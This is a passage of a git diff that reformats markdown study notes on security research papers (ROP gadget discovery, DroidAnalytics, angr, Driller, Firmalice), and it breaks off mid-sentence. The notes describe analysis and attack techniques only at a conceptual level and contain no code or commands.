那既然代码注入不可行,一种思路是利用内存中已有的程序代码,来达到攻击的目的。由于标准 C 库几乎在每个 Linux 程序执行时都会被加载,攻击者就开始考虑利用 libc 中的函数,这种技术就是最初版本的 return-into-libc。理论上来说,通过在栈上布置参数,即可调用任意程序在 text 段上和 libc 中的任意函数。 那么 W⊕X 对 return-into-libc 的影响是什么呢?主要有下面两点: + 1. 在 return-into-libc 攻击中,攻击者可以一个接一个地调用 libc 中的函数,但这个执行流仍然是线性的,而不像代码注入那样可以执行任意代码。 2. 攻击者只能使用程序 text 段中已有的和 libc 中加载的函数,通过移除这些特定的函数即可对攻击者加以限制。 在这样的背景下,本论文就提出了一种新型的 return-into-libc 攻击方法。这种方法可以执行任意代码,而且不需要调用到任何函数。 - ## 寻找指令序列 + 为了完成指令序列的构建,首先需要在 libc 中找到一些以 return 指令结尾,并且在执行时必然以 return 结束,而不会跳到其它地方的小工具(gadgets),算法如下: -![](../pic/8.1_galileo.png) +![img](../pic/8.1_galileo.png) 大概就是扫描二进制找到 ret 指令,将其作为 trie 的根节点,然后回溯解析前面的指令,如果是有效指令,将其添加为子节点,再判断是否为 boring,如果不是,就继续递归回溯。举个例子,在一个 trie 中一个表示 `pop %eax` 的节点是表示 `ret` 的根节点的子节点,则这个 gadgets 为 `pop %eax; ret`。如此就能把有用的 gadgets 都找出来。 那么哪些指令是 boring 的呢? + 1. 该指令是 `leave`,并且后跟一个 `ret` 指令 2. 或者该指令是一个 `pop %ebp`,并且后跟一个 `ret` 指令 3. 或者该指令是返回或者非条件跳转 diff --git a/doc/8.20_droidanalytics.md b/doc/8.20_droidanalytics.md index 088828f..9611d41 100644 --- a/doc/8.20_droidanalytics.md +++ b/doc/8.20_droidanalytics.md @@ -1,72 +1,75 @@ # 8.20 DroidAnalytics: A Signature Based Analytic System to Collect, Extract, Analyze and Associate Android Malware - [paper](https://www.cse.cuhk.edu.hk/~cslui/PUBLICATION/TRUST13DROIDANALYTICS.pdf) -## What is your take-away message from this paper? +## What is your take-away message from this paper + The authors present DroidAnalytics, an Android malware analytic system for malware collection, signature generation, information retrieval, and malware association based on similarity score. Furthermore, DroidAnalytics can efficiently detect zero-day repackaged malware. +## What are motivations for this work -## What are motivations for this work? An effective analytic system needs to address the following questions: + - How to automatically collect and manage a high volume of mobile malware? - How to analyze a zero-day suspicious application, and compare or associate it with existingmalware families in the database? - How to perform information retrieval so to reveal similar malicious logic with existing malware, and to quickly identify the new malicious code segment? +## What is the proposed solution -## What is the proposed solution? - -![](../pic/8.20_architecture.png) +![img](../pic/8.20_architecture.png) The system consists these modules: + - Extensible Crawler: systematically build up the mobile applications database for malware analysis and association. - Dynamic Payload Detector: to deal with malware which dynamically downloads malicious codes via Internet or attachment files. - - scans the package, identifies files using their magic numbers instead of file extension. - - use the forward symbolic execution technique to trigger the download behavior. + - scans the package, identifies files using their magic numbers instead of file extension. + - use the forward symbolic execution technique to trigger the download behavior. - Android App Information (AIS) Parser: it is used to represent *.apk* information. - Signature Generator: use a three-level signature generation scheme to identify each application, which is based on the mobile application, classes, methods. We generate a method's signature using the API call sequence, and given the signature of a method, create the signature of a class which composes of different methods, finally, the signature of an application is composed of all signatures of its classes. - - Android API calls table: use the Java reflection to obtain all descriptions of the API calls. - - Disassembling process: takes the Dalvik opcodes of the *.dex* file and transforms them to methods and classes. - - Generate Lev3 signature: extracts the API call ID sequence as a string in each method, then hashes this string value to produce the method's signature. - - Generate Lev2 signature: generate the Lev2 signature for each class based on the Lev3 signature of methods within that class. - - Generate Lev1 signature: based on the Lev2 signatures. + - Android API calls table: use the Java reflection to obtain all descriptions of the API calls. + - Disassembling process: takes the Dalvik opcodes of the *.dex* file and transforms them to methods and classes. + - Generate Lev3 signature: extracts the API call ID sequence as a string in each method, then hashes this string value to produce the method's signature. + - Generate Lev2 signature: generate the Lev2 signature for each class based on the Lev3 signature of methods within that class. + - Generate Lev1 signature: based on the Lev2 signatures. - ![](../pic/8.20_signature.png) +![img](../pic/8.20_signature.png) - ![](../pic/8.20_signature2.png) +![img](../pic/8.20_signature2.png) +## What is the work's evaluation of the proposed solution -## What is the work's evaluation of the proposed solution? ->We conduct three experiments and show how analysts can study malware, carry out similarity measurement between applications, as well as perform class association among 150,368 mobile applications in the database. +> We conduct three experiments and show how analysts can study malware, carry out similarity measurement between applications, as well as perform class association among 150,368 mobile applications in the database. - analyzing malware repackaging - analyzing malware which uses code obfuscation - analyzing malware with attachement files or dynamic payloads ->we have used DroidAnalyt- ics to detect 2,494 malware samples from 102 families, with 342 zero-day malware samples from six different families. +> we have used DroidAnalyt- ics to detect 2,494 malware samples from 102 families, with 342 zero-day malware samples from six different families. +## What is your analysis of the identified problem, idea and evaluation -## What is your analysis of the identified problem, idea and evaluation? DroidAnalytics's signature generation is based on the following observation: For any functional application, it needs to invoke various Android API calls, and Android API calls sequence within a methods is difficult to modify. Traditional Hash vs Three-level Signature: + - Traditional hash - - Hackers can easily mutate a malware - - Not flexible for analysis + - Hackers can easily mutate a malware + - Not flexible for analysis - Three-level signature - - App, classes and methods - - Defend against obfuscation - - Facilitate analysis - - Zero-day malware + - App, classes and methods + - Defend against obfuscation + - Facilitate analysis + - Zero-day malware +## What are the contributions -## What are the contributions? The authors present the design and implementation of DroidAnalytics: + - DroidAnalytics automates the processes of malware collection, analysis and management. - DroidAnalytics uses a multi-level signature algorithm to extract the malware feature based on their semantic meaning at the opcode level. - DroidAnalytics associates malware and generates signatures at the app/class/method level. - Show how to use DroidAnalytics to detect zero-day repackaged malware. +## What are future directions for this research -## What are future directions for this research? -## What questions are you left with? +## What questions are you left with diff --git a/doc/8.21_tracing_to_detect_spraying.md b/doc/8.21_tracing_to_detect_spraying.md index 550ca43..6d30ac9 100644 --- a/doc/8.21_tracing_to_detect_spraying.md +++ b/doc/8.21_tracing_to_detect_spraying.md @@ -1,6 +1,5 @@ # 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks - [paper](https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_cristalli.pdf) ## 简介 diff --git a/doc/8.22_memory_checking.md b/doc/8.22_memory_checking.md index 6885e17..181a73e 100644 --- a/doc/8.22_memory_checking.md +++ b/doc/8.22_memory_checking.md @@ -1,6 +1,5 @@ # 8.22 Practical Memory Checking With Dr. Memory - [paper](http://groups.csail.mit.edu/commit/papers/2011/bruening-cgo11-drmemory.pdf) ## 简介 diff --git a/doc/8.23_current_anti-rop.md b/doc/8.23_current_anti-rop.md index 4cdc4df..33a97ec 100644 --- a/doc/8.23_current_anti-rop.md +++ b/doc/8.23_current_anti-rop.md @@ -1,6 +1,5 @@ # 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses - [paper](https://www.syssec.rub.de/media/emma/veroeffentlichungen/2014/05/09/TR-HGI-2014-001_1_1.pdf) ## 简介 diff --git a/doc/8.24_runtime_re-randomization.md b/doc/8.24_runtime_re-randomization.md index ccc1251..c76c02a 100644 --- a/doc/8.24_runtime_re-randomization.md +++ b/doc/8.24_runtime_re-randomization.md @@ -1,6 +1,5 @@ # 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization - [paper](https://www.cs.umd.edu/class/fall2017/cmsc818O/papers/aslr-clone-wars.pdf) ## 简介 diff --git a/doc/8.25_angr.md b/doc/8.25_angr.md index 134cc8a..aef271d 100644 --- a/doc/8.25_angr.md +++ b/doc/8.25_angr.md @@ -1,17 +1,18 @@ # 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis - [paper](https://www.cs.ucsb.edu/~vigna/publications/2016_SP_angrSoK.pdf) [slides](https://docs.google.com/presentation/d/1t7KaCMc73z7WdV7EcL0z9TSHlT_kjdMdSrPHtpA6ezc/edit#slide=id.ga5363f155_3_76) [video](https://www.youtube.com/watch?v=ONuLsVcaHB8) [source](https://github.com/angr/angr) ## 简介 + 这篇文章提出了一个二进制分析框架,并实现了许多现有的分析技术。通过将这些技术系统化地实现,可以让其他研究人员直接利用并开发新的技术。此外,在统一框架中实现这些技术可以更直接地进行比较,并确定各自的优缺点。 - ## 自动化二进制分析 + 为了保持程序分析的可行性,往往需要在可重现性和语义理解两个方面需要进行权衡: + - 可重现性:由于分析系统做出的权衡,特定的分析所发现的漏洞可能无法重现。这可能是分析操作的覆盖范围导致的,一些分析从头执行整个应用程序,因此可以推断出触发漏洞的原因,而其他一些分析只是分析了程序的某个部分,这样做可以在特定模块中发现漏洞,但无法完整地推断出触发漏洞的原因,于是无法重现。 - 语义理解:一些分析缺乏对程序语义的理解。例如,动态分析能够追踪程序执行的代码,但不能理解为什么这些代码被执行或者程序输入的哪些部分导致了这样的执行。 @@ -19,62 +20,75 @@ 下面是一个例子,可以对不同分析技术的能力有个简单的认识: -![](../pic/8.25_example.png) +![img](../pic/8.25_example.png) 对于静态分析,它可能会将全部 3 个 memcpy 调用都标记为漏洞(即使 16 行的调用其实是安全的),因为静态分析没有足够的信息来确定漏洞是否真的会发生。另外,静态分析可以得到漏洞的地点,但不能得到触发漏洞的输入。对于动态分析(例如 fuzzing),它通过制造输入来触发漏洞,所以通常有很大可能会漏掉需要精确输入的漏洞,例如第 10 行的漏洞。动态符号执行能够检测出第 10 行的错误并通过约束求解得到输入,也能判断出第 16 行没有漏洞,但是它很可能会漏掉第 30 行,因为有多个潜在的路径不会触发该漏洞。另外,在符号执行进行到循环时,可能存在路径爆炸的问题。 - ## 静态漏洞挖掘 + Static analyses can be split into two paradigms: those that model program properties as graphs and those that model the data itself. -#### 控制流图恢复 +### 控制流图恢复 + CFG recovery is implemented as a recursive algorithm that disassembles and analyzes a basic block, identifies its possible exits and adds them to the CFG, and then repeats the analysis recursively until no new exits are identified. CFG recovery has one fundamental challenge: indirect jumps. Specifically, indirect jumps fall into several categories: + - Computed. The target of a computed jump is determined by the application by carrying out a calculation specified by the code. This calculation could further rely on values in other registers or in memory. A common example of this is a jump table. - Context-sensitive. An indirect jump might depend on the context of an application. The common example is qsort() in the standard C library. - Object-sensitive. A special case of context sensitivity is object sensitivity. In object-oriented languages, object polymorphism requires the use of virtual functions, often implemented as virtual tables of function pointers that are consulted, at runtime, to determine jump targets. The goal of CFG recovery is to resolve the targets of as many of these indirect jumps as possible, in order to create a CFG. Depending on how well jump targets are resolved, the CFG recovery analysis has two properties: + - Soundness. A CFG recovery technique is sound if the set of all potential control flow transfers is represented in the graph generated. - Completeness. A complete CFG recovery builds a CFG in which all edges represent actually possible control flow transfers. -#### 值集分析 +### 值集分析 + At a high level, VSA attempts to identify a tight over-approximation of the program state at any given point in the program. This can be used to understand the possible targets of indirect jumps or the possible targets of memory write operations. - ## 动态漏洞挖掘 + Dynamic techniques here are split into two main categories: concrete and symbolic execution. -#### 动态具体执行 +### 动态具体执行 + The most relevant application of dynamic concrete execution to vulnerability discovery is fuzzing. + - Coverage-based fuzzing. Such fuzzers attempt to produce inputs that maximize the amount of code executed in the target application based on the insight that the more code is executed, the higher the chance of executing vulnerable code. - Coverage-based fuzzing suffers from a lack of semantic insight into the target application. - Taint-based fuzzing. Such fuzzers analyze how an application processes input to understand what parts of the input to modify in future runs. - While a taint-based fuzzer can understand what parts of the input should be mutated to drive execution down a given path in the program, it is still unaware of how to mutate this input. -#### 动态符号执行 +### 动态符号执行 + Dynamic symbolic execution executes a program in an emulated environment with an abstract domain of symbolic variables. They track the state of registers and memory throughout program execution and the constraints on those variables. Whenever a conditional branch is reached, execution forks and follows both paths, saving the branch condition as a constraint on the path in which the branch was taken and the inverse of the branch condition as a constraint on the path in which the branch was not taken. + - Classical dynamic symbolic execution. These engines analyze an application by performing path exploration until a vulnerable state is identified. - Symbolic-assisted fuzzing. Such fuzzers modify inputs identified by the fuzzing component by processing them in a dynamic symbolic execution engine. Dynamic symbolic execution uses a more in-depth understanding of the analyzed program to properly mutate inputs, providing additional test cases that trigger previously-unexplored code and allow the fuzzing component to continue making progress. - Under-constrained symbolic execution. These engines execute only parts of an application in order to increase the tractability of dynamic symbolic execution. - ## angr 分析引擎 -#### 设计目标 + +### 设计目标 + - Cross-architecture support - Cross-platform support - Support for different analysis paradigms - Usability -#### 子模块:Intermediate Representation +### 子模块:Intermediate Representation + We leveraged `libVEX`, the IR lifter of the Valgrind project. libVEX produces an IR, called VEX, that is specifically designed for program analysis. We used PyVEX to expose the VEX IR to Python. -#### 子模块:Binary Loading +### 子模块:Binary Loading + The task of loading an application binary into the analysis system is handled by a module called `CLE`. CLE abstracts over different binary formats to handle loading a given binary and any libraries that it depends on, resolving dynamic symbols, performing relocations, and properly initializing the program state. #### 子模块:Program State Representation/Modification + The `SimuVEX` module is responsible for representing the program state. The state, named SimState in SimuVEX terms, is implemented as a collection of state plugins, which are controlled by state options specified by the user or analysis when the state is created. + - Registers. SimuVEX tracks the values of registers at any given point in the program as a state plugin of the corresponding program state. - Symbolic memory. To enable symbolic execution, SimuVEX provides a symbolic memory model as a state plugin. - Abstract memory. The abstract memory state plugin is used by static analyses to model memory. Unlike symbolic memory, which implements a continuous indexed memory model, the abstract memory provides a region-based memory model. @@ -84,33 +98,40 @@ The `SimuVEX` module is responsible for representing the program state. The stat - Solver. The Solver is a plugin that exposes an interface to different data domains, through the data model provider. - Architecture. The architecture plugin provides architecturespecific information that is useful to the analysis. The information in this plugin is sourced from the archinfo module, that is also distributed as part of angr. -#### 子模块:Data Model +### 子模块:Data Model + `Claripy` abstracts all values to an internal representation of an expression that tracks all operations in which it is used. These expressions are represented as “expression trees” with values being the leaf nodes and operations being non-leaf nodes. At any point, an expression can be translated into data domains provided by Claripy’s backends. User-facing operations, such as interpreting the constructs provided by the backends into Python primitives are provided by frontends. A frontend augments a backend with additional functionality of varying complexity. + - FullFrontend. This frontend exposes symbolic solving to the user, tracking constraints, using the Z3 backend to solve them, and caching the results. - CompositeFrontend. Splitting constraints into independent sets reduces the load on the solver. The CompositeFrontend provides a transparent interface to this functionality. - LightFrontend. This frontend does not support constraint tracking, and simply uses the VSA backend to interpret expressions in the VSA domain. - ReplacementFrontend. The ReplacementFrontend expands the LightFrontend to add support for constraints on VSA values. - HybridFrontend. The HybridFrontend combines the FullFrontend and the ReplacementFrontend to provide fast approximation support for symbolic constraint solving. -#### 子模块:Full-Program Analysis +### 子模块:Full-Program Analysis + `Project` is the analyst-facing part of angr, which provides complete analyses, such as dynamic symbolic execution and controlflow graph recovery. + - Path Groups. A PathGroup is an interface to dynamic symbolic execution. - Analyses. angr provides an abstraction for any full program analysis with the Analysis class. - ## 实现:数据流图恢复 + - CFGAccurate. Given a specific program, angr performs an iterative CFG recovery, starting from the entry point of the program, with some necessary optimizations. angr leverages a combination of forced execution, backwards slicing, and symbolic execution to recover, where possible, all jump targets of each indirect jump. Moreover, it generates and stores a large quantity of data about the target application, which can be used later in other analyses such as data-dependence tracking. - CFGFast. A secondary algorithm that uses a quick disassembly of the binary (without executing any basic block), followed by heuristics to identify functions, intra-function control flow, and direct inter-function control flow transitions. -#### 假设 +### 假设 + angr’s CFGAccurate makes several assumptions about binaries to optimize the run time of the algorithm. + - All code in the program can be distributed into different functions. - All functions are either called by an explicit call instruction, or are preceded by a tail jump in the control flow. - The stack cleanup behavior of each function is predictable, regardless of where it is called from. This lets CFGAccurate safely skip functions that it has already analyzed while analyzing a caller function and keep the stack balanced. -#### 迭代生成 CFG +### 迭代生成 CFG + Throughout CFG recovery, CFGAccurate maintains a list of indirect jumps, Lj, whose jump targets have not been resolved. When the analysis identifies such a jump, it is added to Lj. After each iterative technique terminates, CFGAccurate triggers the next one in the list. This next technique may resolve jumps in Lj, may add new unresolved jumps to Lj, and may add basic blocks and edges to the CFG C. CFGAccurate terminates when a run of all techniques results in no change to Lj or C, as that means that no further indirect jumps can be resolved with any available analysis. - Forced Execution. angr’s CFGAccurate leverages the concept of Dynamic Forced Execution for the first stage of CFG recovery. Forced Execution ensures that both directions of a conditional branch will be executed at every branch point. CFGAccurate maintains a work-list of basic blocks, Bw, and a list of analyzed blocks, Ba. When the analysis starts, it initializes its work-list with all the basic blocks that are in C but not in Ba. Whenever CFGAccurate analyzes a basic block from this work-list, the basic block and any direct jumps from the block are added to C. Indirect jumps, however, cannot be handled this way. So each indirect jump is stored in the list Lj for later analysis. @@ -118,11 +139,13 @@ Throughout CFG recovery, CFGAccurate maintains a list of indirect jumps, Lj - Backward Slicing. CFGAccurate computes a backward slice starting from the unresolved jump. The slice is extended through the beginning of the previous call context. That is, if the indirect jump being analyzed is in a function Fa that is called from both Fb and Fc, the slice will extend backward from the jump in Fa and contain two start nodes: the basic block at the start of Fb and the one at the start of Fc. CFGAccurate then executes this slice using angr’s symbolic execution engine and uses the constraint engine to identify possible targets of the symbolic jumps, with the same threshold of 256 for the size of the solution set for the jump target. If the jump target is resolved successfully, the jump is removed from Lj and the edge representing the control flow transition, and the target basic blocks are added to the recovered CFG. The goal of the fast CFG generation algorithm is to generate a graph, with high code coverage, that identifies at least the location and content of functions in the binary. + - Function identification. We use hard-coded function prologue signatures, which can be generated from techniques like ByteWeight, to identify functions inside the application. - Recursive disassembly. Recursive disassembly is used to recover the direct jumps within the identified functions. - Indirect jump resolution. Lightweight alias analysis, dataflow tracking, combined with pre-defined strategies are used to resolve intra-function control flow transfers. ## 实现:值集分析 + Value-Set Analysis (VSA) is a static analysis technique that combines numeric analysis and pointer analysis for binary programs. It uses an abstract domain, called the Value-Set Abstract domain, for approximating possible values that registers or abstract locations may hold at each program point. - Creating a discrete set of strided-intervals. The basic data type of VSA, the strided interval, is essentially an approximation of a set of numbers. It is great for approximating a set of normal concrete values. We developed a new data type called “strided interval set”, which represents a set of strided intervals that are not unioned together. A strided interval set will be unioned into a single strided interval only when it contains more than K elements, where K is a threshold that can be adjusted. @@ -131,45 +154,46 @@ Value-Set Analysis (VSA) is a static analysis technique that combines numeric an The main interface that angr provides into a full-program VSA analysis is the Value Flow Graph. The VFG is an enhanced CFG that includes the program state representing the VSA fix-point at each program location. - ## 实现:动态符号执行 + The dynamic symbolic execution module of our analysis platform is mainly based on the techniques described in Mayhem. Our implementation follows the same memory model and path prioritization techniques. We use Claripy’s interface into Z3 to populate the symbolic memory model (specifically, SimSymbolicMemory) provided by SimuVEX. Individual execution paths through a program are managed by Path objects, provided by angr, which track the actions taken by paths, the path predicates, and various other path-specific information. Groups of these paths are managed by angr’s PathGroup functionality, which provides an interface for managing the splitting, merging, and filtering of paths during dynamic symbolic execution. angr has built-in support for Veritesting, implementing it as a Veritesting analysis and exposing transparent support for it with an option passed to PathGroup objects. - ## 实现:非约束的符号执行 + We implemented under-constrained symbolic execution (UCSE), as proposed in UC-KLEE, and dubbed it UC-angr. UCSE is a dynamic symbolic execution technique where execution is performed on each function separately. We made two changes to the technique described in UCSE: + - Global memory under-constraining.We mark all global data as underconstrained, allowing us to lower our false positive rate. - Path limiters. We abort the analysis of a function when we find that it is responsible for a path explosion. We detect this by hard-coding a limit and, when a single function branches over this many paths, we replace the function with an immediate return, and rewind the analysis from the call site of that function. - False positive filtering. When we detect an exploitable state, we attempt to ensure that the state is not incorrectly made exploitable by a lack of constraints on under-constrained data. - ## 实现:符号辅助的 fuzzing + Our implementation of symbolic-assisted fuzzing, called Driller, uses the AFL fuzzer as its foundation and angr as its symbolic tracer. - ## 实现:崩溃重现 + We implemented the approach proposed by Replayer to recover missing relationships between input values and output values. We can define the problem of replaying a crashing input as the search for an input specification is to bring a program from an initial state s to a crash state q. Our implementation symbolically executes the path from sa to qa, using the input ia. It records all constraints that are generated while executing P. Given the constraints, the execution path, the program P, and the new initial state sb, we can symbolically execute P with an unconstrained symbolic input, following the previously recorded execution path until the new crash state qb is reached. At this point, the input constraints on the input and output can be analyzed, and relationships between them can be recovered. This relationship data is used to generate the input specification is, allowing the crashing input to be replayed. - ## 实现:利用生成 + we generate exploits by performing concolic execution on crashing program inputs using angr. We drive concolic execution forward, forcing it to follow the same path as a dynamic trace gathered by concretely executing the crashing input applied to the program. Concolic execution is stopped at the point where the program crashed, and we inspect the symbolic state to determine the cause of the crash and measure exploitability. By counting the number of symbolic bits in certain registers, we can triage a crash into a number of categories such as frame pointer overwrite, instruction pointer overwrite, or arbitrary write, among others. - ## 实现:利用强化 + To harden exploits against modern mitigation techniques, we implemented a ROP chain compiler based on the ideas in Q. + - Gadget discovery. We scan all executable code in the application, at every byte offset, to identify ROP gadgets and classify them according to their effects. To carry out the classification, our analysis leverages the action history provided by angr’s Path objects and symbolic relations provided by Claripy. - Gadget arrangement. The ROP chain compiler then determines arrangements of gadgets that can be used to perform high-level actions. - Payload generation. After the ROP compiler identifies the requisite set of gadget arrangements, it combines these gadgets into a chain to carry out high-level actions. This is done by writing gadget arrangements into a program state in angr, constraining their outputs to the provided arguments, and querying the SMT solver for a solution for their inputs. - ## 比较评估 -![](../pic/8.25_evaluation.png) +![img](../pic/8.25_evaluation.png) diff --git a/doc/8.26_driller.md b/doc/8.26_driller.md index 3d00d3c..4677284 100644 --- a/doc/8.26_driller.md +++ b/doc/8.26_driller.md @@ -1,71 +1,80 @@ # 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution - [paper](http://cs.ucsb.edu/~chris/research/doc/ndss16_driller.pdf) ## 简介 + 这篇文章提出了 Driller,这是一种混合漏洞挖掘工具,它以互补的方式将模糊测试和选择性混合执行结合起来,以发现隐藏更深的漏洞。模糊测试用于探索程序空间的不同区间,并使用混合执行来生成满足不同区间的输入。 - ## Driller 概述 + A core intuition behind the design of Driller is that applications process two different classes of user input: `general` input, representing a wide range of values that can be valid, and `specific` input, representing input that must take on one of a select few possible values. Conceptually, an application’s checks on the latter type of input split the application into compartments. Execution flow moves between compartments through checks against specific input, while, within a compartment, the application processes general input. Driller is composed of multiple components: + - Input test cases. Driller can operate without input test cases. However, the presence of such test cases can speed up the initial fuzzing step by pre-guiding the fuzzer toward certain compartments. - Fuzzing. When Driller is invoked, it begins by launching its fuzzing engine. The fuzzing engine explores the first compartment of the application until it reaches the first complex check on specific input. - Concolic execution. Driller invokes its selective concolic execution component when the fuzzing engine gets stuck. This component analyzes the application, pre-constraining the user input with the unique inputs discovered by the prior fuzzing step to prevent a path explosion. After tracing the inputs discovered by the fuzzer, the concolic execution component utilizes its constraint-solving engine to identify inputs that would force execution down previously unexplored paths. -- Repeat. Once the concolic execution component identifies new inputs, they are passed back to the fuzzing component, which continues mutation on these inputs to fuzz the new compartments. +- Repeat. Once the concolic execution component identifies new inputs, they are passed back to the fuzzing component, which continues mutation on these inputs to fuzz the new compartments. -![](../pic/8.26_dri_example.png) +![img](../pic/8.26_dri_example.png) In this example, the application parses a configuration file, containing a magic number, received over an input stream. If the received data contains syntax errors or an incorrect magic number, the program exits. Otherwise, control flow switches based on input between a number of new compartments, some of which contain memory corruption flaws. -![](../pic/8.26_dri_graph.png) +![img](../pic/8.26_dri_graph.png) - Figure 1. Fuzzing the first compartment of the application. Then the fuzzing engine gets stuck on the comparison with the magic number. - Figure 2. Driller executes the concolic execution engine to identify inputs that will drive execution past the check, into other program compartments. - Figure 3. Driller enters its fuzzing stage again, fuzzing the second compartment. The fuzzer cannot find any arms of the key switch besides the default. - Figure 4. When this second fuzzing invocation gets stuck, Driller leverages its concolic execution engine to discover the "crashstring" and "set_option" inputs. - ## 模糊测试 + To implement Driller, we leveraged a popular off-the-shelf fuzzer, American Fuzzy Lop (AFL). Our improvements mostly deal with integrating the fuzzer with our concolic execution engine. Since instrumentation that AFL relies on can be either introduced at compile-time or via a modified QEMU, we opted for a QEMU-backend to remove reliance on source code availability. -#### Fuzzer Features +### Fuzzer Features + - Genetic fuzzing. AFL carries out input generation through a genetic algorithm, mutating inputs according to genetics-inspired rules and ranking them by a fitness function. - State transition tracking. AFL tracks the union of control flow transitions that it has seen from its inputs, as tuples of the source and destination basic blocks. - Loop “bucketization”. When AFL detects that a path contains iterations of a loop, a secondary calculation is triggered to determine whether that path should be eligible for breeding. AFL determines the number of loop iterations that were executed and compares it against previous inputs that caused a path to go through the same loop. These paths are all placed into “buckets” by the logarithm of their loop iteration count. - Derandomization. We pre-set AFL’s QEMU backend to a specific random seed to ensure consistent execution. Later, when a crashing input is discovered, we use our concolic execution engine to recover any “challenge-response” behavior or vulnerabilities that rely on leaking randomness. -#### Fuzzer Limitations +### Fuzzer Limitations + Because fuzzers randomly mutate input, and genetic fuzzers, in turn, mutate input that has, in the past, generated unique paths through a binary, they are able to quickly discover different paths that process “general” input. However, the generation of “specific” input to pass complex checks in the application is very challenging for fuzzers. -#### Transition to Concolic Execution +### Transition to Concolic Execution + Driller aims to complement the fundamental weakness of fuzzing, determining specific user input required to pass complex checks, by leveraging the strength of concolic execution. When the fuzzing component has gone through a predetermined amount (proportional to the input length) of mutations without identifying new state transitions, we consider it “stuck”. Driller then retrieves the inputs that the fuzzer has deemed “interesting” in the current compartment and invokes the concolic execution engine on them. The fuzzer identifies inputs as interesting if one of two conditions holds: + - The path that the input causes the application to take was the first to trigger some state transition. - The path that the input causes the application to take was the first to be placed into a unique “loop bucket”. - ## 选择性混合执行 + When Driller determines that the fuzzer is unable to find additional state transitions, the concolic execution engine is invoked. The concolic execution engine is used to leverage a symbolic solver to mutate existing inputs that reach but fail to satisfy complex checks into new inputs that reach and satisfy such checks. When Driller invokes the concolic execution engine, it passes all of the “interesting” inputs that were identified by the fuzzing engine. Each input is traced, symbolically, to identify state transitions that the fuzzing engine was unable to satisfy. When such a transition is identified, the concolic execution engine produces input that would drive execution through this state transition. After the concolic execution engine finishes processing the provided inputs, its results are fed back into the fuzzing engine’s queue and control is passed back to the fuzzing engine. -#### Concolic Execution -We leveraged angr for Driller’s concolic execution engine. The engine is based on the model popularized and refined by Mayhem and S2E. +### Concolic Execution + +We leveraged angr for Driller’s concolic execution engine. The engine is based on the model popularized and refined by Mayhem and S2E. Driller’s symbolic memory model can store both concrete and symbolic values. It uses an index-based memory model in which read addresses may be symbolic, but write address are always concretized. This approach, popularized by Mayhem, is an important optimization to keep the analysis feasible. -#### Limitations +### Limitations + The traditional approach to concolic execution involves beginning concolic execution from the beginning of a program and exploring the path state with the symbolic execution engine to find as many bugs as possible. However, this approach suffers from two major limitations. + - First, concolic execution is slow. Specifically, the latter operation involves the solution of an NP-complete problem, making the generation of potential inputs time-consuming. - Worse, symbolic execution suffers from the state explosion problem. The number of paths grows exponentially as the concolic execution engine explores the program. -#### Concolic Execution in Driller +### Concolic Execution in Driller + In most cases, most of the work is offloaded from the concolic execution engine to the fuzzer, which will find many paths quickly, letting the concolic engine just work on solving the harder constraints. - Pre-constrained Tracing diff --git a/doc/8.27_firmalice.md b/doc/8.27_firmalice.md index 7f0b3f5..49da5a3 100644 --- a/doc/8.27_firmalice.md +++ b/doc/8.27_firmalice.md @@ -1,28 +1,29 @@ # 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware - [paper](https://seclab.cs.ucsb.edu/media/uploads/papers/firmalice.pdf) [slides](https://docs.google.com/presentation/d/1kwObiKZsPSpxM0uZByzeRTaLC7RS1E2C7UR6HxD7Y1Y/edit#slide=id.g1d1712ddc1_0_0) [video](https://www.youtube.com/watch?v=Fi_S2F7ud_g) ## 简介 + 这篇文章提出了 Firmalice,一种二进制分析框架,以支持对嵌入式设备上所运行的固件进行分析。Firmalice 构建在符号执行引擎之上,并且提供了程序切片之类的技术来提高其可扩展性。此外,Firmalice 构建了一种新型的认证旁路漏洞模型,基于攻击者的能力来确定执行特权操作所需要的输入。 Detecting authentication bypasses in firmware is challenging for several reasons: + - The source code of the firmware is not available. - Firmware often takes the form of a single binary image that runs directly on the hardware of the device, without an underlying operating system. - Embedded devices frequently require their firmware to be cryptographically signed by the manufacturer, making modification of the firmware on the device for analysis purposes infeasible. - ## 认证旁路漏洞 + Many embedded devices contain `privileged operations` that should only be accessible by `authorized users`. To protect these privileged operations, these devices generally include some form of user verification. This verification almost always takes the form of an authentication of the user’s credentials before the privileged functionality is executed. The verification can be avoided by means of an authentication bypass attack. Authentication bypass vulnerabilities, commonly termed “backdoors,” allow an attacker to perform privileged operations in firmware without having knowledge of the valid credentials of an authorized user. To reason about these vulnerabilities, we created a model based on the concept of `input determinism`. Our authentication bypass model specifies that all paths leading from an entry point into the firmware to a privileged operation must validate some input that the attacker cannot derive from the firmware image itself or from prior communication with the device. In other words, we report an authentication bypass vulnerability when an attacker can craft inputs that lead the firmware execution to a privileged operation. - ## 方法概述 + The identification of authentication bypasses in firmware proceeds in several steps. At a high level, Firmalice loads a firmware image, parses a security policy, and uses static analysis to drive a symbolic execution engine. The results from this symbolic execution are then checked against the security policy to identify violations. - Firmware Loading. Before the analysis can be carried out, firmware must be loaded into our analysis engine. @@ -31,11 +32,11 @@ The identification of authentication bypasses in firmware proceeds in several st - Symbolic Execution. The symbolic execution engine attempts to find paths that successfully reach a `privileged program point`. - Authentication Bypass Check. This module uses the concept of `input determinism` to determine whether the state in question represents the use of an authentication bypass vulnerability. -![](../pic/8.27_fir_example.png) +![img](../pic/8.27_fir_example.png) The example is a user-space firmware sample with a hardcoded backdoor, wihch is the check in lines 2 and 3. The security policy provided to Firmalice is: “The Firmware should not present a prompt for a command (specifically, output the string "Command:") to an unauthenticated user.” -![](../pic/8.27_fir_cfg.png) +![img](../pic/8.27_fir_cfg.png) Firmalice first loads the firmware program and carries out its Static Program Analysis. This results in a control flow graph and a data dependency graph. The latter is then used to identify the location in the program where the string "Command:" is shown to the user. This serves as the privileged program point for Firmalice’s analysis. @@ -43,28 +44,34 @@ Firmalice utilizes its Static Program Analysis module to create an authenticatio As these privileged states are discovered, they are passed to the Authentication Bypass Check module. In this case, the component would detect that the first state (with a username of “GO” and a password of “ON”) contains a completely deterministic input, and, thus, represents an authentication bypass. - ## 固件加载 + Firmware takes one of two forms: + - user-space firmware. Some embedded devices actually run a 